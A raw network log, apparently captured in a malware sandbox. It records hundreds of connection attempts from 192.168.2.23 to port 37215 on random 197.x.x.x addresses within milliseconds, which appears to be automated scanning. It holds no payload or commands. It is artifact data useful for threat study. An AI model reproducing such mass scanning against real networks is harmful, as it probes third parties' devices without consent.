Feb 20, 2022 16:02:42.555439949 CET	27221	37215	192.168.2.23	197.151.199.227
Feb 20, 2022 16:02:42.555447102 CET	27477	37215	192.168.2.23	197.35.39.178
Feb 20, 2022 16:02:42.555448055 CET	27221	37215	192.168.2.23	197.75.108.192
Feb 20, 2022 16:02:42.555458069 CET	27477	37215	192.168.2.23	197.73.243.52
Feb 20, 2022 16:02:42.555464983 CET	27477	37215	192.168.2.23	197.51.185.176
Feb 20, 2022 16:02:42.555474997 CET	27221	37215	192.168.2.23	197.200.203.5
Feb 20, 2022 16:02:42.555476904 CET	27477	37215	192.168.2.23	197.42.248.171
Feb 20, 2022 16:02:42.555485010 CET	27477	37215	192.168.2.23	197.101.29.148
Feb 20, 2022 16:02:42.555491924 CET	27221	37215	192.168.2.23	197.230.77.128
Feb 20, 2022 16:02:42.555496931 CET	27477	37215	192.168.2.23	197.38.197.63
Feb 20, 2022 16:02:42.555496931 CET	27477	37215	192.168.2.23	197.192.120.73
Feb 20, 2022 16:02:42.555516005 CET	27477	37215	192.168.2.23	197.157.64.57
Feb 20, 2022 16:02:42.555517912 CET	27221	37215	192.168.2.23	197.93.53.82
Feb 20, 2022 16:02:42.555520058 CET	27221	37215	192.168.2.23	197.4.105.61
Feb 20, 2022 16:02:42.555537939 CET	27221	37215	192.168.2.23	197.216.213.65
Feb 20, 2022 16:02:42.555548906 CET	27477	37215	192.168.2.23	197.237.60.53
Feb 20, 2022 16:02:42.555557966 CET	27477	37215	192.168.2.23	197.43.24.44
Feb 20, 2022 16:02:42.555557966 CET	27477	37215	192.168.2.23	197.244.161.49
Feb 20, 2022 16:02:42.555573940 CET	27221	37215	192.168.2.23	197.251.100.177
Feb 20, 2022 16:02:42.555588007 CET	27477	37215	192.168.2.23	197.226.121.189
Feb 20, 2022 16:02:42.555592060 CET	27221	37215	192.168.2.23	197.245.174.125
Feb 20, 2022 16:02:42.555608034 CET	27221	37215	192.168.2.23	197.116.169.214
Feb 20, 2022 16:02:42.555763960 CET	27221	37215	192.168.2.23	197.40.86.252
Feb 20, 2022 16:02:42.555767059 CET	27477	37215	192.168.2.23	197.38.228.23
Feb 20, 2022 16:02:42.555772066 CET	27221	37215	192.168.2.23	197.129.237.101
Feb 20, 2022 16:02:42.555773973 CET	27477	37215	192.168.2.23	197.53.59.172
Feb 20, 2022 16:02:42.555778027 CET	27477	37215	192.168.2.23	197.38.16.152
Feb 20, 2022 16:02:42.555778027 CET	27477	37215	192.168.2.23	197.24.233.64
Feb 20, 2022 16:02:42.555793047 CET	27221	37215	192.168.2.23	197.3.15.75
Feb 20, 2022 16:02:42.555793047 CET	27477	37215	192.168.2.23	197.162.167.159
Feb 20, 2022 16:02:42.555793047 CET	27477	37215	192.168.2.23	197.31.102.204
Feb 20, 2022 16:02:42.555795908 CET	27221	37215	192.168.2.23	197.58.170.247
Feb 20, 2022 16:02:42.555795908 CET	27477	37215	192.168.2.23	197.98.157.205
Feb 20, 2022 16:02:42.555799007 CET	27221	37215	192.168.2.23	197.98.199.59
Feb 20, 2022 16:02:42.555804014 CET	27221	37215	192.168.2.23	197.223.80.236
Feb 20, 2022 16:02:42.555809975 CET	27221	37215	192.168.2.23	197.224.224.143
Feb 20, 2022 16:02:42.555810928 CET	27221	37215	192.168.2.23	197.173.165.105
Feb 20, 2022 16:02:42.555811882 CET	27221	37215	192.168.2.23	197.69.40.116
Feb 20, 2022 16:02:42.555819988 CET	27477	37215	192.168.2.23	197.94.171.18
Feb 20, 2022 16:02:42.555833101 CET	27477	37215	192.168.2.23	197.233.183.31
Feb 20, 2022 16:02:42.555843115 CET	27221	37215	192.168.2.23	197.235.144.159
Feb 20, 2022 16:02:42.555851936 CET	27221	37215	192.168.2.23	197.227.244.219
Feb 20, 2022 16:02:42.555866003 CET	27477	37215	192.168.2.23	197.231.42.115
Feb 20, 2022 16:02:42.555876017 CET	27477	37215	192.168.2.23	197.223.75.150
Feb 20, 2022 16:02:42.555887938 CET	27221	37215	192.168.2.23	197.217.20.149
Feb 20, 2022 16:02:42.556047916 CET	27477	37215	192.168.2.23	197.9.153.70
Feb 20, 2022 16:02:42.556050062 CET	27477	37215	192.168.2.23	197.225.170.122
Feb 20, 2022 16:02:42.556054115 CET	27221	37215	192.168.2.23	197.90.224.102
Feb 20, 2022 16:02:42.556060076 CET	27477	37215	192.168.2.23	197.31.40.161
Feb 20, 2022 16:02:42.556065083 CET	27477	37215	192.168.2.23	197.146.142.95
Feb 20, 2022 16:02:42.556066990 CET	27477	37215	192.168.2.23	197.23.155.234
Feb 20, 2022 16:02:42.556076050 CET	27477	37215	192.168.2.23	197.138.31.25
Feb 20, 2022 16:02:42.556094885 CET	27477	37215	192.168.2.23	197.3.119.146
Feb 20, 2022 16:02:42.556103945 CET	27221	37215	192.168.2.23	197.5.114.35
Feb 20, 2022 16:02:42.556111097 CET	27221	37215	192.168.2.23	197.161.59.249
Feb 20, 2022 16:02:42.556122065 CET	27221	37215	192.168.2.23	197.195.52.182
Feb 20, 2022 16:02:42.556123972 CET	27221	37215	192.168.2.23	197.43.242.68
Feb 20, 2022 16:02:42.556128025 CET	27477	37215	192.168.2.23	197.229.179.33
Feb 20, 2022 16:02:42.556133986 CET	27477	37215	192.168.2.23	197.189.91.72
Feb 20, 2022 16:02:42.556140900 CET	27221	37215	192.168.2.23	197.66.206.50
Feb 20, 2022 16:02:42.556143999 CET	27477	37215	192.168.2.23	197.17.148.185
Feb 20, 2022 16:02:42.556157112 CET	27477	37215	192.168.2.23	197.254.78.234
Feb 20, 2022 16:02:42.556159019 CET	27477	37215	192.168.2.23	197.224.159.236
Feb 20, 2022 16:02:42.556162119 CET	27221	37215	192.168.2.23	197.255.99.208
Feb 20, 2022 16:02:42.556185961 CET	27221	37215	192.168.2.23	197.11.91.228
Feb 20, 2022 16:02:42.556200027 CET	27477	37215	192.168.2.23	197.41.195.243
Feb 20, 2022 16:02:42.556214094 CET	27221	37215	192.168.2.23	197.40.46.2
Feb 20, 2022 16:02:42.556216955 CET	27477	37215	192.168.2.23	197.14.57.147
Feb 20, 2022 16:02:42.556381941 CET	27221	37215	192.168.2.23	197.142.194.129
Feb 20, 2022 16:02:42.556391001 CET	27221	37215	192.168.2.23	197.45.146.235
Feb 20, 2022 16:02:42.556406021 CET	27477	37215	192.168.2.23	197.141.235.168
Feb 20, 2022 16:02:42.556406021 CET	27221	37215	192.168.2.23	197.167.86.55
Feb 20, 2022 16:02:42.556408882 CET	27221	37215	192.168.2.23	197.248.208.219
Feb 20, 2022 16:02:42.556410074 CET	27221	37215	192.168.2.23	197.199.139.137
Feb 20, 2022 16:02:42.556413889 CET	27477	37215	192.168.2.23	197.2.41.12
Feb 20, 2022 16:02:42.556416988 CET	27221	37215	192.168.2.23	197.152.134.54
Feb 20, 2022 16:02:42.556416988 CET	27477	37215	192.168.2.23	197.183.196.166
Feb 20, 2022 16:02:42.556421041 CET	27221	37215	192.168.2.23	197.250.63.26
Feb 20, 2022 16:02:42.556421995 CET	27221	37215	192.168.2.23	197.168.227.12
Feb 20, 2022 16:02:42.556423903 CET	27477	37215	192.168.2.23	197.181.53.127
Feb 20, 2022 16:02:42.556427956 CET	27477	37215	192.168.2.23	197.88.24.37
Feb 20, 2022 16:02:42.556432962 CET	27477	37215	192.168.2.23	197.186.236.68
Feb 20, 2022 16:02:42.556437016 CET	27477	37215	192.168.2.23	197.42.42.99
Feb 20, 2022 16:02:42.556438923 CET	27477	37215	192.168.2.23	197.143.39.157
Feb 20, 2022 16:02:42.556447983 CET	27221	37215	192.168.2.23	197.86.66.19
Feb 20, 2022 16:02:42.556452990 CET	27477	37215	192.168.2.23	197.140.58.227
Feb 20, 2022 16:02:42.556458950 CET	27477	37215	192.168.2.23	197.181.128.34
Feb 20, 2022 16:02:42.556462049 CET	27221	37215	192.168.2.23	197.120.39.150
Feb 20, 2022 16:02:42.556464911 CET	27477	37215	192.168.2.23	197.252.69.137
Feb 20, 2022 16:02:42.556468010 CET	27221	37215	192.168.2.23	197.68.232.120
Feb 20, 2022 16:02:42.556488037 CET	27477	37215	192.168.2.23	197.9.181.179
Feb 20, 2022 16:02:42.556493998 CET	27221	37215	192.168.2.23	197.110.75.209
Feb 20, 2022 16:02:42.556505919 CET	27221	37215	192.168.2.23	197.73.104.60
Feb 20, 2022 16:02:42.556520939 CET	27221	37215	192.168.2.23	197.234.117.255
Feb 20, 2022 16:02:42.556663990 CET	27477	37215	192.168.2.23	197.164.17.108
Feb 20, 2022 16:02:42.556665897 CET	27477	37215	192.168.2.23	197.134.7.91
Feb 20, 2022 16:02:42.556668997 CET	27221	37215	192.168.2.23	197.112.88.195
Feb 20, 2022 16:02:42.556670904 CET	27221	37215	192.168.2.23	197.49.199.217
Feb 20, 2022 16:02:42.556679964 CET	27477	37215	192.168.2.23	197.118.239.204
Feb 20, 2022 16:02:42.556680918 CET	27477	37215	192.168.2.23	197.129.35.134
Feb 20, 2022 16:02:42.556684017 CET	27221	37215	192.168.2.23	197.211.180.252
Feb 20, 2022 16:02:42.556693077 CET	27477	37215	192.168.2.23	197.8.219.210
Feb 20, 2022 16:02:42.556694984 CET	27221	37215	192.168.2.23	197.243.192.92
Feb 20, 2022 16:02:42.556695938 CET	27221	37215	192.168.2.23	197.213.111.36
Feb 20, 2022 16:02:42.556700945 CET	27477	37215	192.168.2.23	197.202.152.254
Feb 20, 2022 16:02:42.556701899 CET	27221	37215	192.168.2.23	197.102.182.187
Feb 20, 2022 16:02:42.556715012 CET	27221	37215	192.168.2.23	197.144.138.202
Feb 20, 2022 16:02:42.556715012 CET	27221	37215	192.168.2.23	197.224.7.27
Feb 20, 2022 16:02:42.556715965 CET	27477	37215	192.168.2.23	197.141.116.46
Feb 20, 2022 16:02:42.556716919 CET	27221	37215	192.168.2.23	197.77.127.160
Feb 20, 2022 16:02:42.556729078 CET	27477	37215	192.168.2.23	197.164.201.143
Feb 20, 2022 16:02:42.556730032 CET	27221	37215	192.168.2.23	197.53.145.18
Feb 20, 2022 16:02:42.556734085 CET	27477	37215	192.168.2.23	197.0.117.179
Feb 20, 2022 16:02:42.556735992 CET	27477	37215	192.168.2.23	197.7.194.102
Feb 20, 2022 16:02:42.556744099 CET	27221	37215	192.168.2.23	197.168.225.107
Feb 20, 2022 16:02:42.556759119 CET	27477	37215	192.168.2.23	197.76.143.9
Feb 20, 2022 16:02:42.556766987 CET	27221	37215	192.168.2.23	197.77.208.193
Feb 20, 2022 16:02:42.556782961 CET	27221	37215	192.168.2.23	197.140.31.240
Feb 20, 2022 16:02:42.556787968 CET	27477	37215	192.168.2.23	197.191.24.49
Feb 20, 2022 16:02:42.556797028 CET	27477	37215	192.168.2.23	197.83.146.17
Feb 20, 2022 16:02:42.556802988 CET	27221	37215	192.168.2.23	197.200.205.96
Feb 20, 2022 16:02:42.556811094 CET	27477	37215	192.168.2.23	197.208.252.107
Feb 20, 2022 16:02:42.556827068 CET	27221	37215	192.168.2.23	197.102.143.5
Feb 20, 2022 16:02:42.556982994 CET	27221	37215	192.168.2.23	197.21.212.33
Feb 20, 2022 16:02:42.556987047 CET	27477	37215	192.168.2.23	197.246.214.65
Feb 20, 2022 16:02:42.556994915 CET	27221	37215	192.168.2.23	197.173.33.155
Feb 20, 2022 16:02:42.556996107 CET	27477	37215	192.168.2.23	197.127.238.209
Feb 20, 2022 16:02:42.556996107 CET	27477	37215	192.168.2.23	197.123.140.19
Feb 20, 2022 16:02:42.556998968 CET	27477	37215	192.168.2.23	197.188.95.75
Feb 20, 2022 16:02:42.557008028 CET	27477	37215	192.168.2.23	197.27.202.185
Feb 20, 2022 16:02:42.557010889 CET	27477	37215	192.168.2.23	197.176.247.8
Feb 20, 2022 16:02:42.557022095 CET	27477	37215	192.168.2.23	197.169.158.90
Feb 20, 2022 16:02:42.557034016 CET	27477	37215	192.168.2.23	197.99.2.122
Feb 20, 2022 16:02:42.557044029 CET	27221	37215	192.168.2.23	197.166.56.25
Feb 20, 2022 16:02:42.557049036 CET	27221	37215	192.168.2.23	197.36.157.82
Feb 20, 2022 16:02:42.557050943 CET	27477	37215	192.168.2.23	197.43.179.116
Feb 20, 2022 16:02:42.557053089 CET	27221	37215	192.168.2.23	197.32.129.33
Feb 20, 2022 16:02:42.557066917 CET	27477	37215	192.168.2.23	197.172.227.228
Feb 20, 2022 16:02:42.557077885 CET	27221	37215	192.168.2.23	197.238.141.66
Feb 20, 2022 16:02:42.557087898 CET	27477	37215	192.168.2.23	197.25.216.159
Feb 20, 2022 16:02:42.557096004 CET	27221	37215	192.168.2.23	197.88.104.10
Feb 20, 2022 16:02:42.557112932 CET	27477	37215	192.168.2.23	197.115.215.171
Feb 20, 2022 16:02:42.557125092 CET	27221	37215	192.168.2.23	197.108.17.189
Feb 20, 2022 16:02:42.557142973 CET	27221	37215	192.168.2.23	197.137.182.223
Feb 20, 2022 16:02:42.557142973 CET	27477	37215	192.168.2.23	197.111.121.71
Feb 20, 2022 16:02:42.557308912 CET	27477	37215	192.168.2.23	197.50.25.144
Feb 20, 2022 16:02:42.557315111 CET	27221	37215	192.168.2.23	197.194.4.68
Feb 20, 2022 16:02:42.557315111 CET	27477	37215	192.168.2.23	197.51.60.83
Feb 20, 2022 16:02:42.557320118 CET	27221	37215	192.168.2.23	197.76.106.240
Feb 20, 2022 16:02:42.557337046 CET	27221	37215	192.168.2.23	197.76.62.6
Feb 20, 2022 16:02:42.557337046 CET	27477	37215	192.168.2.23	197.223.4.96
Feb 20, 2022 16:02:42.557338953 CET	27221	37215	192.168.2.23	197.151.13.10
Feb 20, 2022 16:02:42.557339907 CET	27221	37215	192.168.2.23	197.164.233.238
Feb 20, 2022 16:02:42.557343006 CET	27477	37215	192.168.2.23	197.144.223.67
Feb 20, 2022 16:02:42.557346106 CET	27221	37215	192.168.2.23	197.141.55.228
Feb 20, 2022 16:02:42.557352066 CET	27221	37215	192.168.2.23	197.11.21.188
Feb 20, 2022 16:02:42.557353020 CET	27477	37215	192.168.2.23	197.165.122.235
Feb 20, 2022 16:02:42.557360888 CET	27477	37215	192.168.2.23	197.50.69.4
Feb 20, 2022 16:02:42.557362080 CET	27221	37215	192.168.2.23	197.181.238.17
Feb 20, 2022 16:02:42.557363987 CET	27477	37215	192.168.2.23	197.86.63.151
Feb 20, 2022 16:02:42.557363987 CET	27477	37215	192.168.2.23	197.56.34.224
Feb 20, 2022 16:02:42.557368994 CET	27221	37215	192.168.2.23	197.142.13.60
Feb 20, 2022 16:02:42.557375908 CET	27221	37215	192.168.2.23	197.137.19.7
Feb 20, 2022 16:02:42.557380915 CET	27477	37215	192.168.2.23	197.108.13.225
Feb 20, 2022 16:02:42.557388067 CET	27477	37215	192.168.2.23	197.237.6.149
Feb 20, 2022 16:02:42.557389975 CET	27477	37215	192.168.2.23	197.124.33.113
Feb 20, 2022 16:02:42.557403088 CET	27221	37215	192.168.2.23	197.104.32.244
Feb 20, 2022 16:02:42.557404041 CET	27477	37215	192.168.2.23	197.60.74.23
Feb 20, 2022 16:02:42.557406902 CET	27221	37215	192.168.2.23	197.95.192.10
Feb 20, 2022 16:02:42.557408094 CET	27221	37215	192.168.2.23	197.217.206.116
Feb 20, 2022 16:02:42.557427883 CET	27477	37215	192.168.2.23	197.185.175.144
Feb 20, 2022 16:02:42.557436943 CET	27221	37215	192.168.2.23	197.248.170.1
Feb 20, 2022 16:02:42.557456017 CET	27477	37215	192.168.2.23	197.141.207.105
Feb 20, 2022 16:02:42.557617903 CET	27221	37215	192.168.2.23	197.153.85.77
Feb 20, 2022 16:02:42.557619095 CET	27477	37215	192.168.2.23	197.88.130.253
Feb 20, 2022 16:02:42.557620049 CET	27221	37215	192.168.2.23	197.140.209.112
Feb 20, 2022 16:02:42.557632923 CET	27477	37215	192.168.2.23	197.141.40.84
Feb 20, 2022 16:02:42.557635069 CET	27221	37215	192.168.2.23	197.233.171.83
Feb 20, 2022 16:02:42.557643890 CET	27477	37215	192.168.2.23	197.247.162.198
Feb 20, 2022 16:02:42.557646990 CET	27221	37215	192.168.2.23	197.107.88.61
Feb 20, 2022 16:02:42.557657003 CET	27477	37215	192.168.2.23	197.213.180.97
Feb 20, 2022 16:02:42.557657003 CET	27221	37215	192.168.2.23	197.172.42.240
Feb 20, 2022 16:02:42.557657957 CET	27477	37215	192.168.2.23	197.75.37.243
Feb 20, 2022 16:02:42.557657003 CET	27221	37215	192.168.2.23	197.206.188.50
Feb 20, 2022 16:02:42.557661057 CET	27221	37215	192.168.2.23	197.188.102.127
Feb 20, 2022 16:02:42.557668924 CET	27221	37215	192.168.2.23	197.153.110.251
Feb 20, 2022 16:02:42.557671070 CET	27221	37215	192.168.2.23	197.140.144.172
Feb 20, 2022 16:02:42.557677984 CET	27477	37215	192.168.2.23	197.68.118.221
Feb 20, 2022 16:02:42.557679892 CET	27221	37215	192.168.2.23	197.187.147.103
Feb 20, 2022 16:02:42.557682037 CET	27221	37215	192.168.2.23	197.241.155.42
Feb 20, 2022 16:02:42.557683945 CET	27221	37215	192.168.2.23	197.61.57.135
Feb 20, 2022 16:02:42.557684898 CET	27477	37215	192.168.2.23	197.229.0.34
Feb 20, 2022 16:02:42.557691097 CET	27477	37215	192.168.2.23	197.117.190.87
Feb 20, 2022 16:02:42.557704926 CET	27477	37215	192.168.2.23	197.99.18.195
Feb 20, 2022 16:02:42.557709932 CET	27221	37215	192.168.2.23	197.72.108.84
Feb 20, 2022 16:02:42.557723999 CET	27477	37215	192.168.2.23	197.97.42.224
Feb 20, 2022 16:02:42.557727098 CET	27221	37215	192.168.2.23	197.124.180.167
Feb 20, 2022 16:02:42.557739973 CET	27477	37215	192.168.2.23	197.108.90.58
Feb 20, 2022 16:02:42.557754993 CET	27477	37215	192.168.2.23	197.56.161.142
Feb 20, 2022 16:02:42.557761908 CET	27477	37215	192.168.2.23	197.187.219.191
Feb 20, 2022 16:02:42.557761908 CET	27221	37215	192.168.2.23	197.103.225.14
Feb 20, 2022 16:02:42.557919979 CET	27221	37215	192.168.2.23	197.14.61.86
Feb 20, 2022 16:02:42.557920933 CET	27477	37215	192.168.2.23	197.197.18.227
Feb 20, 2022 16:02:42.557921886 CET	27221	37215	192.168.2.23	197.219.152.161
Feb 20, 2022 16:02:42.557926893 CET	27477	37215	192.168.2.23	197.116.204.118
Feb 20, 2022 16:02:42.557936907 CET	27477	37215	192.168.2.23	197.179.166.181
Feb 20, 2022 16:02:42.557940960 CET	27221	37215	192.168.2.23	197.42.220.57
Feb 20, 2022 16:02:42.557941914 CET	27477	37215	192.168.2.23	197.124.132.66
Feb 20, 2022 16:02:42.557950020 CET	27477	37215	192.168.2.23	197.137.172.198
Feb 20, 2022 16:02:42.557965040 CET	27477	37215	192.168.2.23	197.110.169.62
Feb 20, 2022 16:02:42.557975054 CET	27477	37215	192.168.2.23	197.38.206.53
Feb 20, 2022 16:02:42.557977915 CET	27477	37215	192.168.2.23	197.50.6.170
Feb 20, 2022 16:02:42.557987928 CET	27221	37215	192.168.2.23	197.3.63.229
Feb 20, 2022 16:02:42.557996988 CET	27477	37215	192.168.2.23	197.225.86.245
Feb 20, 2022 16:02:42.558003902 CET	27477	37215	192.168.2.23	197.175.137.30
Feb 20, 2022 16:02:42.558007956 CET	27221	37215	192.168.2.23	197.121.183.195
Feb 20, 2022 16:02:42.558021069 CET	27221	37215	192.168.2.23	197.191.249.156
Feb 20, 2022 16:02:42.558027983 CET	27477	37215	192.168.2.23	197.223.189.237
Feb 20, 2022 16:02:42.558033943 CET	27221	37215	192.168.2.23	197.82.28.193
Feb 20, 2022 16:02:42.558065891 CET	27477	37215	192.168.2.23	197.118.165.110
Feb 20, 2022 16:02:42.558075905 CET	27221	37215	192.168.2.23	197.165.140.142
Feb 20, 2022 16:02:42.558089972 CET	27477	37215	192.168.2.23	197.71.229.240
Feb 20, 2022 16:02:42.558109999 CET	27221	37215	192.168.2.23	197.92.134.103
Feb 20, 2022 16:02:42.558109999 CET	27221	37215	192.168.2.23	197.169.104.190
Feb 20, 2022 16:02:42.558114052 CET	27477	37215	192.168.2.23	197.9.142.180
Feb 20, 2022 16:02:42.558274984 CET	27477	37215	192.168.2.23	197.19.166.82
Feb 20, 2022 16:02:42.558279037 CET	27221	37215	192.168.2.23	197.224.58.177
Feb 20, 2022 16:02:42.558283091 CET	27221	37215	192.168.2.23	197.131.198.215
Feb 20, 2022 16:02:42.558284044 CET	27477	37215	192.168.2.23	197.85.200.157
Feb 20, 2022 16:02:42.558284044 CET	27477	37215	192.168.2.23	197.175.90.135
Feb 20, 2022 16:02:42.558285952 CET	27477	37215	192.168.2.23	197.142.246.91
Feb 20, 2022 16:02:42.558288097 CET	27477	37215	192.168.2.23	197.14.50.138
Feb 20, 2022 16:02:42.558295965 CET	27221	37215	192.168.2.23	197.149.124.131
Feb 20, 2022 16:02:42.558299065 CET	27477	37215	192.168.2.23	197.37.188.56
Feb 20, 2022 16:02:42.558305979 CET	27221	37215	192.168.2.23	197.196.236.248
Feb 20, 2022 16:02:42.558309078 CET	27477	37215	192.168.2.23	197.23.7.148
Feb 20, 2022 16:02:42.558310986 CET	27221	37215	192.168.2.23	197.55.158.199
Feb 20, 2022 16:02:42.558315039 CET	27221	37215	192.168.2.23	197.177.150.21
Feb 20, 2022 16:02:42.558317900 CET	27221	37215	192.168.2.23	197.244.232.66
Feb 20, 2022 16:02:42.558317900 CET	27477	37215	192.168.2.23	197.67.26.32
Feb 20, 2022 16:02:42.558324099 CET	27221	37215	192.168.2.23	197.123.210.165
Feb 20, 2022 16:02:42.558325052 CET	27221	37215	192.168.2.23	197.181.232.158
Feb 20, 2022 16:02:42.558336020 CET	27221	37215	192.168.2.23	197.181.8.60
Feb 20, 2022 16:02:42.558346033 CET	27221	37215	192.168.2.23	197.122.32.187
Feb 20, 2022 16:02:42.558352947 CET	27477	37215	192.168.2.23	197.65.157.102
Feb 20, 2022 16:02:42.558358908 CET	27477	37215	192.168.2.23	197.81.190.178
Feb 20, 2022 16:02:42.558360100 CET	27477	37215	192.168.2.23	197.33.96.224
Feb 20, 2022 16:02:42.558382034 CET	27221	37215	192.168.2.23	197.56.155.97
Feb 20, 2022 16:02:42.558397055 CET	27477	37215	192.168.2.23	197.29.144.163
Feb 20, 2022 16:02:42.558399916 CET	27221	37215	192.168.2.23	197.152.2.146
Feb 20, 2022 16:02:42.558408022 CET	27477	37215	192.168.2.23	197.230.87.228
Feb 20, 2022 16:02:42.558413982 CET	27221	37215	192.168.2.23	197.83.183.98
Feb 20, 2022 16:02:42.558568001 CET	27221	37215	192.168.2.23	197.179.25.210
Feb 20, 2022 16:02:42.558589935 CET	27477	37215	192.168.2.23	197.40.115.216
Feb 20, 2022 16:02:42.558593988 CET	27477	37215	192.168.2.23	197.54.126.93
Feb 20, 2022 16:02:42.558595896 CET	27477	37215	192.168.2.23	197.195.13.138
Feb 20, 2022 16:02:42.558608055 CET	27477	37215	192.168.2.23	197.74.47.2
Feb 20, 2022 16:02:42.558614969 CET	27221	37215	192.168.2.23	197.12.161.189
Feb 20, 2022 16:02:42.558619022 CET	27477	37215	192.168.2.23	197.10.229.180
Feb 20, 2022 16:02:42.558619022 CET	27477	37215	192.168.2.23	197.247.201.87
Feb 20, 2022 16:02:42.558619976 CET	27221	37215	192.168.2.23	197.73.58.243
Feb 20, 2022 16:02:42.558625937 CET	27221	37215	192.168.2.23	197.116.218.113
Feb 20, 2022 16:02:42.558633089 CET	27477	37215	192.168.2.23	197.10.30.207
Feb 20, 2022 16:02:42.558639050 CET	27221	37215	192.168.2.23	197.238.120.223
Feb 20, 2022 16:02:42.558641911 CET	27221	37215	192.168.2.23	197.234.172.73
Feb 20, 2022 16:02:42.558643103 CET	27477	37215	192.168.2.23	197.17.249.30
Feb 20, 2022 16:02:42.558645964 CET	27221	37215	192.168.2.23	197.98.248.30
Feb 20, 2022 16:02:42.558650017 CET	27221	37215	192.168.2.23	197.101.123.136
Feb 20, 2022 16:02:42.558661938 CET	27477	37215	192.168.2.23	197.150.242.90
Feb 20, 2022 16:02:42.558662891 CET	27477	37215	192.168.2.23	197.168.184.177
Feb 20, 2022 16:02:42.558662891 CET	27221	37215	192.168.2.23	197.135.30.166
Feb 20, 2022 16:02:42.558665037 CET	27221	37215	192.168.2.23	197.21.240.73
Feb 20, 2022 16:02:42.558665991 CET	27477	37215	192.168.2.23	197.173.144.78
Feb 20, 2022 16:02:42.558681011 CET	27221	37215	192.168.2.23	197.27.101.191
Feb 20, 2022 16:02:42.558681965 CET	27221	37215	192.168.2.23	197.46.229.243
Feb 20, 2022 16:02:42.558687925 CET	27477	37215	192.168.2.23	197.243.242.227
Feb 20, 2022 16:02:42.558703899 CET	27221	37215	192.168.2.23	197.25.163.82
Feb 20, 2022 16:02:42.558716059 CET	27221	37215	192.168.2.23	197.228.34.21
Feb 20, 2022 16:02:42.558721066 CET	27477	37215	192.168.2.23	197.245.141.90
Feb 20, 2022 16:02:42.558742046 CET	27477	37215	192.168.2.23	197.214.50.171
Feb 20, 2022 16:02:42.558743954 CET	27221	37215	192.168.2.23	197.201.109.233
Feb 20, 2022 16:02:42.558916092 CET	27477	37215	192.168.2.23	197.198.3.155
Feb 20, 2022 16:02:42.558917999 CET	27221	37215	192.168.2.23	197.47.83.95
Feb 20, 2022 16:02:42.558919907 CET	27477	37215	192.168.2.23	197.208.141.38
Feb 20, 2022 16:02:42.558919907 CET	27477	37215	192.168.2.23	197.112.130.116
Feb 20, 2022 16:02:42.558923006 CET	27477	37215	192.168.2.23	197.104.44.60
Feb 20, 2022 16:02:42.558933020 CET	27477	37215	192.168.2.23	197.183.71.176
Feb 20, 2022 16:02:42.558945894 CET	27477	37215	192.168.2.23	197.91.221.100
Feb 20, 2022 16:02:42.558957100 CET	27477	37215	192.168.2.23	197.200.237.10
Feb 20, 2022 16:02:42.558959961 CET	27477	37215	192.168.2.23	197.217.204.73
Feb 20, 2022 16:02:42.558984995 CET	27477	37215	192.168.2.23	197.209.229.136
Feb 20, 2022 16:02:42.559005976 CET	27477	37215	192.168.2.23	197.102.228.93
Feb 20, 2022 16:02:42.559031010 CET	27477	37215	192.168.2.23	197.109.192.115
Feb 20, 2022 16:02:42.559195995 CET	27477	37215	192.168.2.23	197.101.119.103
Feb 20, 2022 16:02:42.559200048 CET	27477	37215	192.168.2.23	197.131.33.255
Feb 20, 2022 16:02:42.559206009 CET	27477	37215	192.168.2.23	197.2.6.8
Feb 20, 2022 16:02:42.559212923 CET	27477	37215	192.168.2.23	197.36.54.36
Feb 20, 2022 16:02:42.559230089 CET	27477	37215	192.168.2.23	197.221.197.227
Feb 20, 2022 16:02:42.559240103 CET	27477	37215	192.168.2.23	197.87.112.206
Feb 20, 2022 16:02:42.559248924 CET	27477	37215	192.168.2.23	197.87.152.145
Feb 20, 2022 16:02:42.559259892 CET	27477	37215	192.168.2.23	197.209.223.97
Feb 20, 2022 16:02:42.559271097 CET	27477	37215	192.168.2.23	197.234.178.16
Feb 20, 2022 16:02:42.559283018 CET	27477	37215	192.168.2.23	197.102.249.116
Feb 20, 2022 16:02:42.559314966 CET	27477	37215	192.168.2.23	197.94.19.138
Feb 20, 2022 16:02:42.559334040 CET	27477	37215	192.168.2.23	197.226.245.93
Feb 20, 2022 16:02:42.559365034 CET	27477	37215	192.168.2.23	197.210.117.211
Feb 20, 2022 16:02:42.559513092 CET	27477	37215	192.168.2.23	197.5.144.253
Feb 20, 2022 16:02:42.559514999 CET	27477	37215	192.168.2.23	197.143.106.22
Feb 20, 2022 16:02:42.559515953 CET	27477	37215	192.168.2.23	197.61.74.230
Feb 20, 2022 16:02:42.559525967 CET	27477	37215	192.168.2.23	197.52.135.80
Feb 20, 2022 16:02:42.559529066 CET	27477	37215	192.168.2.23	197.170.103.58
Feb 20, 2022 16:02:42.559533119 CET	27477	37215	192.168.2.23	197.40.157.166
Feb 20, 2022 16:02:42.559535027 CET	27477	37215	192.168.2.23	197.127.11.213
Feb 20, 2022 16:02:42.559554100 CET	27477	37215	192.168.2.23	197.86.237.249
Feb 20, 2022 16:02:42.559567928 CET	27477	37215	192.168.2.23	197.145.101.128
Feb 20, 2022 16:02:42.559585094 CET	27477	37215	192.168.2.23	197.157.28.162
Feb 20, 2022 16:02:42.559597969 CET	27477	37215	192.168.2.23	197.106.69.4
Feb 20, 2022 16:02:42.559624910 CET	27477	37215	192.168.2.23	197.152.131.201
Feb 20, 2022 16:02:42.559638977 CET	27477	37215	192.168.2.23	197.78.105.69
Feb 20, 2022 16:02:42.559665918 CET	27477	37215	192.168.2.23	197.166.13.169
Feb 20, 2022 16:02:42.559686899 CET	27477	37215	192.168.2.23	197.83.154.103
Feb 20, 2022 16:02:42.559813023 CET	27477	37215	192.168.2.23	197.85.20.145
Feb 20, 2022 16:02:42.559813023 CET	27477	37215	192.168.2.23	197.184.54.155
Feb 20, 2022 16:02:42.559817076 CET	27477	37215	192.168.2.23	197.239.15.22
Feb 20, 2022 16:02:42.559829950 CET	27477	37215	192.168.2.23	197.12.200.156
Feb 20, 2022 16:02:42.559838057 CET	27477	37215	192.168.2.23	197.99.165.48
Feb 20, 2022 16:02:42.559860945 CET	27477	37215	192.168.2.23	197.31.155.248
Feb 20, 2022 16:02:42.559878111 CET	27477	37215	192.168.2.23	197.168.154.139
Feb 20, 2022 16:02:42.559910059 CET	27477	37215	192.168.2.23	197.230.24.194
Feb 20, 2022 16:02:42.559936047 CET	27477	37215	192.168.2.23	197.233.48.199
Feb 20, 2022 16:02:42.559953928 CET	27477	37215	192.168.2.23	197.109.202.254
Feb 20, 2022 16:02:42.559978962 CET	27477	37215	192.168.2.23	197.127.255.143
Feb 20, 2022 16:02:42.561777115 CET	27477	37215	192.168.2.23	197.193.245.226
